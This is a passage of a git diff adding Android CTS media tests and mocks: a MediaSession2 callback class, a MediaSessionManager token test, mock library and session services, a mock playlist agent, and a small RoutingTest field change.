+ void run(@NonNull MediaController2 controller);
+ }
+
+ public class MySessionCallback extends MediaSession2.SessionCallback {
+ public CountDownLatch mCountDownLatch;
+
+ public SessionCommand2 mCommand;
+ public String mMediaId;
+ public String mQuery;
+ public Uri mUri;
+ public Bundle mExtras;
+
+ public boolean mOnCommandRequestCalled;
+ public boolean mOnPlayFromMediaIdCalled;
+ public boolean mOnPlayFromSearchCalled;
+ public boolean mOnPlayFromUriCalled;
+ public boolean mOnPrepareFromMediaIdCalled;
+ public boolean mOnPrepareFromSearchCalled;
+ public boolean mOnPrepareFromUriCalled;
+
+
+ public MySessionCallback() {
+ mCountDownLatch = new CountDownLatch(1);
+ }
+
+ public void reset() {
+ mCountDownLatch = new CountDownLatch(1);
+
+ mCommand = null;
+ mMediaId = null;
+ mQuery = null;
+ mUri = null;
+ mExtras = null;
+
+ mOnCommandRequestCalled = false;
+ mOnPlayFromMediaIdCalled = false;
+ mOnPlayFromSearchCalled = false;
+ mOnPlayFromUriCalled = false;
+ mOnPrepareFromMediaIdCalled = false;
+ mOnPrepareFromSearchCalled = false;
+ mOnPrepareFromUriCalled = false;
+ }
+
+ @Override
+ public boolean onCommandRequest(MediaSession2 session, ControllerInfo controller,
+ SessionCommand2 command) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnCommandRequestCalled = true;
+ mCommand = command;
+ mCountDownLatch.countDown();
+ return super.onCommandRequest(session, controller, command);
+ }
+
+ @Override
+ public void onPlayFromMediaId(MediaSession2 session, ControllerInfo controller,
+ String mediaId, Bundle extras) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnPlayFromMediaIdCalled = true;
+ mMediaId = mediaId;
+ mExtras = extras;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onPlayFromSearch(MediaSession2 session, ControllerInfo controller,
+ String query, Bundle extras) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnPlayFromSearchCalled = true;
+ mQuery = query;
+ mExtras = extras;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onPlayFromUri(MediaSession2 session, ControllerInfo controller,
+ Uri uri, Bundle extras) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnPlayFromUriCalled = true;
+ mUri = uri;
+ mExtras = extras;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onPrepareFromMediaId(MediaSession2 session, ControllerInfo controller,
+ String mediaId, Bundle extras) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnPrepareFromMediaIdCalled = true;
+ mMediaId = mediaId;
+ mExtras = extras;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onPrepareFromSearch(MediaSession2 session, ControllerInfo controller,
+ String query, Bundle extras) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnPrepareFromSearchCalled = true;
+ mQuery = query;
+ mExtras = extras;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onPrepareFromUri(MediaSession2 session, ControllerInfo controller,
+ Uri uri, Bundle extras) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnPrepareFromUriCalled = true;
+ mUri = uri;
+ mExtras = extras;
+ mCountDownLatch.countDown();
+ }
+
+ // TODO(jaewan): Add permission test for setRating()
+ }
+
+ public class ControllerCallbackForPermissionChange extends MediaController2.ControllerCallback {
+ public CountDownLatch mCountDownLatch = new CountDownLatch(1);
+
+ @Override
+ public void onAllowedCommandsChanged(MediaController2 controller,
+ SessionCommandGroup2 commands) {
+ mCountDownLatch.countDown();
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java
new file mode 100644
index 0000000..8fad77a
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java
@@ -0,0 +1,339 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.media.MediaController2;
+import android.media.MediaPlayerBase;
+import android.media.MediaSession2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2.SessionCallback;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.media.session.MediaSessionManager;
+import android.media.session.MediaSessionManager.OnSessionTokensChangedListener;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.UUID;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaSessionManager} with {@link MediaSession2} specific APIs.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSessionManager_MediaSession2Test extends MediaSession2TestBase {
+ private static final String TAG = "MediaSessionManager_MediaSession2Test";
+
+ private MediaSessionManager mManager;
+ private MediaSession2 mSession;
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ mManager = (MediaSessionManager) mContext.getSystemService(Context.MEDIA_SESSION_SERVICE);
+
+ // Specify TAG here so {@link MediaSession2.getInstance()} doesn't complaint about
+ // per test thread differs across the {@link MediaSession2} with the same TAG.
+ final MockPlayer player = new MockPlayer(1);
+ mSession = new MediaSession2.Builder(mContext)
+ .setPlayer(player)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() { })
+ .setId(TAG)
+ .build();
+ }
+
+ @After
+ @Override
+ public void cleanUp() throws Exception {
+ super.cleanUp();
+ sHandler.removeCallbacksAndMessages(null);
+ mSession.close();
+ }
+
+ // TODO(jaewan): Make this host-side test to see per-user behavior.
+ @Ignore
+ @Test
+ public void testGetMediaSession2Tokens_hasMediaController() throws InterruptedException {
+ final MockPlayer player = (MockPlayer) mSession.getPlayer();
+ player.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_IDLE);
+
+ MediaController2 controller = null;
+ List<SessionToken2> tokens = mManager.getActiveSessionTokens();
+ assertNotNull(tokens);
+ for (int i = 0; i < tokens.size(); i++) {
+ SessionToken2 token = tokens.get(i);
+ if (mContext.getPackageName().equals(token.getPackageName())
+ && TAG.equals(token.getId())) {
+ assertNull(controller);
+ controller = createController(token);
+ }
+ }
+ assertNotNull(controller);
+
+ // Test if the found controller is correct one.
+ assertEquals(MediaPlayerBase.PLAYER_STATE_IDLE, controller.getPlayerState());
+ controller.play();
+
+ assertTrue(player.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertTrue(player.mPlayCalled);
+ }
+
+ /**
+ * Test if server recognizes a session even if the session refuses the connection from server.
+ *
+ * @throws InterruptedException
+ */
+ @Test
+ public void testGetSessionTokens_sessionRejected() throws InterruptedException {
+ mSession.close();
+ mSession = new MediaSession2.Builder(mContext).setPlayer(new MockPlayer(0))
+ .setId(TAG).setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(
+ MediaSession2 session, ControllerInfo controller) {
+ // Reject all connection request.
+ return null;
+ }
+ }).build();
+
+ boolean foundSession = false;
+ List<SessionToken2> tokens = mManager.getActiveSessionTokens();
+ assertNotNull(tokens);
+ for (int i = 0; i < tokens.size(); i++) {
+ SessionToken2 token = tokens.get(i);
+ if (mContext.getPackageName().equals(token.getPackageName())
+ && TAG.equals(token.getId())) {
+ assertFalse(foundSession);
+ foundSession = true;
+ }
+ }
+ assertTrue(foundSession);
+ }
+
+ @Test
+ public void testGetMediaSession2Tokens_sessionClosed() throws InterruptedException {
+ mSession.close();
+
+ // When a session is closed, it should lose binder connection between server immediately.
+ // So server will forget the session.
+ List<SessionToken2> tokens = mManager.getActiveSessionTokens();
+ for (int i = 0; i < tokens.size(); i++) {
+ SessionToken2 token = tokens.get(i);
+ assertFalse(mContext.getPackageName().equals(token.getPackageName())
+ && TAG.equals(token.getId()));
+ }
+ }
+
+ @Test
+ public void testGetMediaSessionService2Token() throws InterruptedException {
+ boolean foundTestSessionService = false;
+ boolean foundTestLibraryService = false;
+ List<SessionToken2> tokens = mManager.getSessionServiceTokens();
+ for (int i = 0; i < tokens.size(); i++) {
+ SessionToken2 token = tokens.get(i);
+ if (mContext.getPackageName().equals(token.getPackageName())
+ && MockMediaSessionService2.ID.equals(token.getId())) {
+ assertFalse(foundTestSessionService);
+ assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+ foundTestSessionService = true;
+ } else if (mContext.getPackageName().equals(token.getPackageName())
+ && MockMediaLibraryService2.ID.equals(token.getId())) {
+ assertFalse(foundTestLibraryService);
+ assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
+ foundTestLibraryService = true;
+ }
+ }
+ assertTrue(foundTestSessionService);
+ assertTrue(foundTestLibraryService);
+ }
+
+ @Test
+ public void testGetAllSessionTokens() throws InterruptedException {
+ boolean foundTestSession = false;
+ boolean foundTestSessionService = false;
+ boolean foundTestLibraryService = false;
+ List<SessionToken2> tokens = mManager.getAllSessionTokens();
+ for (int i = 0; i < tokens.size(); i++) {
+ SessionToken2 token = tokens.get(i);
+ if (!mContext.getPackageName().equals(token.getPackageName())) {
+ continue;
+ }
+ switch (token.getId()) {
+ case TAG:
+ assertFalse(foundTestSession);
+ foundTestSession = true;
+ break;
+ case MockMediaSessionService2.ID:
+ assertFalse(foundTestSessionService);
+ foundTestSessionService = true;
+ assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+ break;
+ case MockMediaLibraryService2.ID:
+ assertFalse(foundTestLibraryService);
+ assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
+ foundTestLibraryService = true;
+ break;
+ default:
+ fail("Unexpected session " + token + " exists in the package");
+ }
+ }
+ assertTrue(foundTestSession);
+ assertTrue(foundTestSessionService);
+ assertTrue(foundTestLibraryService);
+ }
+
+ @Test
+ public void testAddOnSessionTokensChangedListener() throws InterruptedException {
+ TokensChangedListener listener = new TokensChangedListener();
+ mManager.addOnSessionTokensChangedListener(sHandlerExecutor, listener);
+
+ listener.reset();
+ MediaSession2 session1 = new MediaSession2.Builder(mContext)
+ .setPlayer(new MockPlayer(0))
+ .setId(UUID.randomUUID().toString())
+ .build();
+ assertTrue(listener.await());
+ assertTrue(listener.findToken(session1.getToken()));
+
+ listener.reset();
+ session1.close();
+ assertTrue(listener.await());
+ assertFalse(listener.findToken(session1.getToken()));
+
+ listener.reset();
+ MediaSession2 session2 = new MediaSession2.Builder(mContext)
+ .setPlayer(new MockPlayer(0))
+ .setId(UUID.randomUUID().toString())
+ .build();
+ assertTrue(listener.await());
+ assertFalse(listener.findToken(session1.getToken()));
+ assertTrue(listener.findToken(session2.getToken()));
+
+ listener.reset();
+ MediaSession2 session3 = new MediaSession2.Builder(mContext)
+ .setPlayer(new MockPlayer(0))
+ .setId(UUID.randomUUID().toString())
+ .build();
+ assertTrue(listener.await());
+ assertFalse(listener.findToken(session1.getToken()));
+ assertTrue(listener.findToken(session2.getToken()));
+ assertTrue(listener.findToken(session3.getToken()));
+
+ listener.reset();
+ session2.close();
+ assertTrue(listener.await());
+ assertFalse(listener.findToken(session1.getToken()));
+ assertFalse(listener.findToken(session2.getToken()));
+ assertTrue(listener.findToken(session3.getToken()));
+
+ listener.reset();
+ session3.close();
+ assertTrue(listener.await());
+ assertFalse(listener.findToken(session1.getToken()));
+ assertFalse(listener.findToken(session2.getToken()));
+ assertFalse(listener.findToken(session3.getToken()));
+
+ mManager.removeOnSessionTokensChangedListener(listener);
+ }
+
+ @Test
+ public void testRemoveOnSessionTokensChangedListener() throws InterruptedException {
+ TokensChangedListener listener = new TokensChangedListener();
+ mManager.addOnSessionTokensChangedListener(sHandlerExecutor, listener);
+
+ listener.reset();
+ MediaSession2 session1 = new MediaSession2.Builder(mContext)
+ .setPlayer(new MockPlayer(0))
+ .setId(UUID.randomUUID().toString())
+ .build();
+ assertTrue(listener.await());
+
+ mManager.removeOnSessionTokensChangedListener(listener);
+
+ listener.reset();
+ session1.close();
+ assertFalse(listener.await());
+
+ listener.reset();
+ MediaSession2 session2 = new MediaSession2.Builder(mContext)
+ .setPlayer(new MockPlayer(0))
+ .setId(UUID.randomUUID().toString())
+ .build();
+ assertFalse(listener.await());
+
+ listener.reset();
+ MediaSession2 session3 = new MediaSession2.Builder(mContext)
+ .setPlayer(new MockPlayer(0))
+ .setId(UUID.randomUUID().toString())
+ .build();
+ assertFalse(listener.await());
+
+ listener.reset();
+ session2.close();
+ assertFalse(listener.await());
+
+ listener.reset();
+ session3.close();
+ assertFalse(listener.await());
+ }
+
+ private class TokensChangedListener implements OnSessionTokensChangedListener {
+ private CountDownLatch mLatch;
+ private List<SessionToken2> mTokens;
+
+ private void reset() {
+ mLatch = new CountDownLatch(1);
+ mTokens = null;
+ }
+
+ private boolean await() throws InterruptedException {
+ return mLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS);
+ }
+
+ private boolean findToken(SessionToken2 token) {
+ return mTokens.contains(token);
+ }
+
+ @Override
+ public void onSessionTokensChanged(List<SessionToken2> tokens) {
+ mTokens = tokens;
+ mLatch.countDown();
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MockMediaLibraryService2.java b/tests/tests/media/src/android/media/cts/MockMediaLibraryService2.java
new file mode 100644
index 0000000..4c4b3f6
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MockMediaLibraryService2.java
@@ -0,0 +1,236 @@
+/*
+* Copyright 2018 The Android Open Source Project
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+* http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*/
+
+package android.media.cts;
+
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.media.DataSourceDesc;
+import android.media.MediaItem2;
+import android.media.MediaLibraryService2;
+import android.media.MediaMetadata2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaLibraryService2.MediaLibrarySession.MediaLibrarySessionCallback;
+import android.media.SessionToken2;
+import android.media.cts.TestUtils.SyncHandler;
+import android.os.Bundle;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import android.util.Log;
+
+import java.io.FileDescriptor;
+import java.util.ArrayList;
+import java.util.List;
+
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.concurrent.GuardedBy;
+
+/**
+ * Mock implementation of {@link MediaLibraryService2} for testing.
+ */
+public class MockMediaLibraryService2 extends MediaLibraryService2 {
+ // Keep in sync with the AndroidManifest.xml
+ public static final String ID = "TestLibrary";
+
+ public static final String ROOT_ID = "rootId";
+ public static final Bundle EXTRAS = new Bundle();
+
+ public static final String MEDIA_ID_GET_ITEM = "media_id_get_item";
+
+ public static final String PARENT_ID = "parent_id";
+ public static final String PARENT_ID_NO_CHILDREN = "parent_id_no_children";
+ public static final String PARENT_ID_ERROR = "parent_id_error";
+
+ public static final List<MediaItem2> GET_CHILDREN_RESULT = new ArrayList<>();
+ public static final int CHILDREN_COUNT = 100;
+
+ public static final String SEARCH_QUERY = "search_query";
+ public static final String SEARCH_QUERY_TAKES_TIME = "search_query_takes_time";
+ public static final int SEARCH_TIME_IN_MS = 5000;
+ public static final String SEARCH_QUERY_EMPTY_RESULT = "search_query_empty_result";
+
+ public static final List<MediaItem2> SEARCH_RESULT = new ArrayList<>();
+ public static final int SEARCH_RESULT_COUNT = 50;
+
+ private static final DataSourceDesc DATA_SOURCE_DESC =
+ new DataSourceDesc.Builder().setDataSource(new FileDescriptor()).build();
+
+ private static final String TAG = "MockMediaLibrarySvc2";
+
+ static {
+ EXTRAS.putString(ROOT_ID, ROOT_ID);
+ }
+ @GuardedBy("MockMediaLibraryService2.class")
+ private static SessionToken2 sToken;
+
+ private MediaLibrarySession mSession;
+
+ public MockMediaLibraryService2() {
+ super();
+ GET_CHILDREN_RESULT.clear();
+ String getChildrenMediaIdPrefix = "get_children_media_id_";
+ for (int i = 0; i < CHILDREN_COUNT; i++) {
+ GET_CHILDREN_RESULT.add(createMediaItem(getChildrenMediaIdPrefix + i));
+ }
+
+ SEARCH_RESULT.clear();
+ String getSearchResultMediaIdPrefix = "get_search_result_media_id_";
+ for (int i = 0; i < SEARCH_RESULT_COUNT; i++) {
+ SEARCH_RESULT.add(createMediaItem(getSearchResultMediaIdPrefix + i));
+ }
+ }
+
+ @Override
+ public void onCreate() {
+ TestServiceRegistry.getInstance().setServiceInstance(this);
+ super.onCreate();
+ }
+
+ @Override
+ public MediaLibrarySession onCreateSession(String sessionId) {
+ final MockPlayer player = new MockPlayer(1);
+ final SyncHandler handler = (SyncHandler) TestServiceRegistry.getInstance().getHandler();
+ final Executor executor = (runnable) -> handler.post(runnable);
+ MediaLibrarySessionCallback librarySessionCallback = (MediaLibrarySessionCallback)
+ TestServiceRegistry.getInstance().getSessionCallback();
+ if (librarySessionCallback == null) {
+ // Use default callback
+ librarySessionCallback = new TestLibrarySessionCallback();
+ }
+ mSession = new MediaLibrarySession.Builder(MockMediaLibraryService2.this, executor,
+ librarySessionCallback).setPlayer(player).setId(sessionId).build();
+ return mSession;
+ }
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ TestServiceRegistry.getInstance().cleanUp();
+ }
+
+ public static SessionToken2 getToken(Context context) {
+ synchronized (MockMediaLibraryService2.class) {
+ if (sToken == null) {
+ sToken = new SessionToken2(context, context.getPackageName(),
+ MockMediaLibraryService2.class.getName());
+ assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, sToken.getType());
+ }
+ return sToken;
+ }
+ }
+
+ private class TestLibrarySessionCallback extends MediaLibrarySessionCallback {
+ @Override
+ public LibraryRoot onGetLibraryRoot(MediaLibrarySession session, ControllerInfo controller,
+ Bundle rootHints) {
+ return new LibraryRoot(ROOT_ID, EXTRAS);
+ }
+
+ @Override
+ public MediaItem2 onGetItem(MediaLibrarySession session, ControllerInfo controller,
+ String mediaId) {
+ if (MEDIA_ID_GET_ITEM.equals(mediaId)) {
+ return createMediaItem(mediaId);
+ } else {
+ return null;
+ }
+ }
+
+ @Override
+ public List<MediaItem2> onGetChildren(MediaLibrarySession session,
+ ControllerInfo controller, String parentId, int page, int pageSize, Bundle extras) {
+ if (PARENT_ID.equals(parentId)) {
+ return getPaginatedResult(GET_CHILDREN_RESULT, page, pageSize);
+ } else if (PARENT_ID_ERROR.equals(parentId)) {
+ return null;
+ }
+ // Includes the case of PARENT_ID_NO_CHILDREN.
+ return new ArrayList<>();
+ }
+
+ @Override
+ public void onSearch(MediaLibrarySession session, ControllerInfo controllerInfo,
+ String query, Bundle extras) {
+ if (SEARCH_QUERY.equals(query)) {
+ mSession.notifySearchResultChanged(controllerInfo, query, SEARCH_RESULT_COUNT,
+ extras);
+ } else if (SEARCH_QUERY_TAKES_TIME.equals(query)) {
+ // Searching takes some time. Notify after 5 seconds.
+ Executors.newSingleThreadScheduledExecutor().schedule(new Runnable() {
+ @Override
+ public void run() {
+ mSession.notifySearchResultChanged(
+ controllerInfo, query, SEARCH_RESULT_COUNT, extras);
+ }
+ }, SEARCH_TIME_IN_MS, TimeUnit.MILLISECONDS);
+ } else if (SEARCH_QUERY_EMPTY_RESULT.equals(query)) {
+ mSession.notifySearchResultChanged(controllerInfo, query, 0, extras);
+ } else {
+ // TODO: For the error case, how should we notify the browser?
+ }
+ }
+
+ @Override
+ public List<MediaItem2> onGetSearchResult(MediaLibrarySession session,
+ ControllerInfo controllerInfo, String query, int page, int pageSize,
+ Bundle extras) {
+ if (SEARCH_QUERY.equals(query)) {
+ return getPaginatedResult(SEARCH_RESULT, page, pageSize);
+ } else {
+ return null;
+ }
+ }
+ }
+
+ private List<MediaItem2> getPaginatedResult(List<MediaItem2> items, int page, int pageSize) {
+ if (items == null) {
+ return null;
+ } else if (items.size() == 0) {
+ return new ArrayList<>();
+ }
+
+ final int totalItemCount = items.size();
+ int fromIndex = (page - 1) * pageSize;
+ int toIndex = Math.min(page * pageSize, totalItemCount);
+
+ List<MediaItem2> paginatedResult = new ArrayList<>();
+ try {
+ // The case of (fromIndex >= totalItemCount) will throw exception below.
+ paginatedResult = items.subList(fromIndex, toIndex);
+ } catch (IndexOutOfBoundsException | IllegalArgumentException ex) {
+ Log.d(TAG, "Result is empty for given pagination arguments: totalItemCount="
+ + totalItemCount + ", page=" + page + ", pageSize=" + pageSize, ex);
+ }
+ return paginatedResult;
+ }
+
+ private MediaItem2 createMediaItem(String mediaId) {
+ Context context = MockMediaLibraryService2.this;
+ return new MediaItem2.Builder(0 /* Flags */)
+ .setMediaId(mediaId)
+ .setDataSourceDesc(DATA_SOURCE_DESC)
+ .setMetadata(new MediaMetadata2.Builder()
+ .putString(MediaMetadata2.METADATA_KEY_MEDIA_ID, mediaId)
+ .build())
+ .build();
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MockMediaSessionService2.java b/tests/tests/media/src/android/media/cts/MockMediaSessionService2.java
new file mode 100644
index 0000000..330637e
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MockMediaSessionService2.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.media.MediaSession2;
+import android.media.MediaSession2.SessionCallback;
+import android.media.MediaSessionService2;
+import android.media.cts.TestUtils.SyncHandler;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.concurrent.Executor;
+
+/**
+ * Mock implementation of {@link MediaSessionService2} for testing.
+ */
+public class MockMediaSessionService2 extends MediaSessionService2 {
+ // Keep in sync with the AndroidManifest.xml
+ public static final String ID = "TestSession";
+
+ private static final String DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID = "media_session_service";
+ private static final int DEFAULT_MEDIA_NOTIFICATION_ID = 1001;
+
+ private NotificationChannel mDefaultNotificationChannel;
+ private MediaSession2 mSession;
+ private NotificationManager mNotificationManager;
+
+ @Override
+ public void onCreate() {
+ TestServiceRegistry.getInstance().setServiceInstance(this);
+ super.onCreate();
+ mNotificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ }
+
+ @Override
+ public MediaSession2 onCreateSession(String sessionId) {
+ final MockPlayer player = new MockPlayer(1);
+ final SyncHandler handler = (SyncHandler) TestServiceRegistry.getInstance().getHandler();
+ final Executor executor = (runnable) -> handler.post(runnable);
+ SessionCallback sessionCallback = TestServiceRegistry.getInstance().getSessionCallback();
+ if (sessionCallback == null) {
+ // Ensures non-null
+ sessionCallback = new SessionCallback() {};
+ }
+ mSession = new MediaSession2.Builder(this)
+ .setPlayer(player)
+ .setSessionCallback(executor, sessionCallback)
+ .setId(sessionId).build();
+ return mSession;
+ }
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ TestServiceRegistry.getInstance().cleanUp();
+ }
+
+ @Override
+ public MediaNotification onUpdateNotification() {
+ if (mDefaultNotificationChannel == null) {
+ mDefaultNotificationChannel = new NotificationChannel(
+ DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID,
+ DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID,
+ NotificationManager.IMPORTANCE_DEFAULT);
+ mNotificationManager.createNotificationChannel(mDefaultNotificationChannel);
+ }
+ Notification notification = new Notification.Builder(
+ this, DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID)
+ .setContentTitle(getPackageName())
+ .setContentText("Dummt test notification")
+ .setSmallIcon(android.R.drawable.sym_def_app_icon).build();
+ return new MediaNotification(DEFAULT_MEDIA_NOTIFICATION_ID, notification);
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MockPlaylistAgent.java b/tests/tests/media/src/android/media/cts/MockPlaylistAgent.java
new file mode 100644
index 0000000..ca7bc92
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MockPlaylistAgent.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaPlaylistAgent;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * A mock implementation of {@link MediaPlaylistAgent} for testing.
+ * <p>
+ * Do not use mockito for {@link MediaPlaylistAgent}. Instead, use this.
+ * Mocks created from mockito should not be shared across different threads.
+ */
+public class MockPlaylistAgent extends MediaPlaylistAgent {
+ public final CountDownLatch mCountDownLatch = new CountDownLatch(1);
+
+ public List<MediaItem2> mPlaylist;
+ public MediaMetadata2 mMetadata;
+ public MediaItem2 mItem;
+ public int mIndex = -1;
+ public @RepeatMode int mRepeatMode = -1;
+ public @ShuffleMode int mShuffleMode = -1;
+
+ public boolean mSetPlaylistCalled;
+ public boolean mUpdatePlaylistMetadataCalled;
+ public boolean mAddPlaylistItemCalled;
+ public boolean mRemovePlaylistItemCalled;
+ public boolean mReplacePlaylistItemCalled;
+ public boolean mSkipToPlaylistItemCalled;
+ public boolean mSkipToPreviousItemCalled;
+ public boolean mSkipToNextItemCalled;
+ public boolean mSetRepeatModeCalled;
+ public boolean mSetShuffleModeCalled;
+
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return mPlaylist;
+ }
+
+ @Override
+ public void setPlaylist(List<MediaItem2> list, MediaMetadata2 metadata) {
+ mSetPlaylistCalled = true;
+ mPlaylist = list;
+ mMetadata = metadata;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public MediaMetadata2 getPlaylistMetadata() {
+ return mMetadata;
+ }
+
+ @Override
+ public void updatePlaylistMetadata(MediaMetadata2 metadata) {
+ mUpdatePlaylistMetadataCalled = true;
+ mMetadata = metadata;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void addPlaylistItem(int index, MediaItem2 item) {
+ mAddPlaylistItemCalled = true;
+ mIndex = index;
+ mItem = item;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void removePlaylistItem(MediaItem2 item) {
+ mRemovePlaylistItemCalled = true;
+ mItem = item;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void replacePlaylistItem(int index, MediaItem2 item) {
+ mReplacePlaylistItemCalled = true;
+ mIndex = index;
+ mItem = item;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void skipToPlaylistItem(MediaItem2 item) {
+ mSkipToPlaylistItemCalled = true;
+ mItem = item;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void skipToPreviousItem() {
+ mSkipToPreviousItemCalled = true;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void skipToNextItem() {
+ mSkipToNextItemCalled = true;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public int getRepeatMode() {
+ return mRepeatMode;
+ }
+
+ @Override
+ public void setRepeatMode(int repeatMode) {
+ mSetRepeatModeCalled = true;
+ mRepeatMode = repeatMode;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public int getShuffleMode() {
+ return mShuffleMode;
+ }
+
+ @Override
+ public void setShuffleMode(int shuffleMode) {
+ mSetShuffleModeCalled = true;
+ mShuffleMode = shuffleMode;
+ mCountDownLatch.countDown();
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/RoutingTest.java b/tests/tests/media/src/android/media/cts/RoutingTest.java
index f2e078a..c448e98 100644
--- a/tests/tests/media/src/android/media/cts/RoutingTest.java
+++ b/tests/tests/media/src/android/media/cts/RoutingTest.java
@@ -72,6 +72,7 @@
Arrays.asList(AudioDeviceInfo.TYPE_BUILTIN_MIC));
private boolean mRoutingChanged;
+ private boolean mRoutingChangedDetected;
private AudioManager mAudioManager;
private CountDownLatch mRoutingChangedLatch;
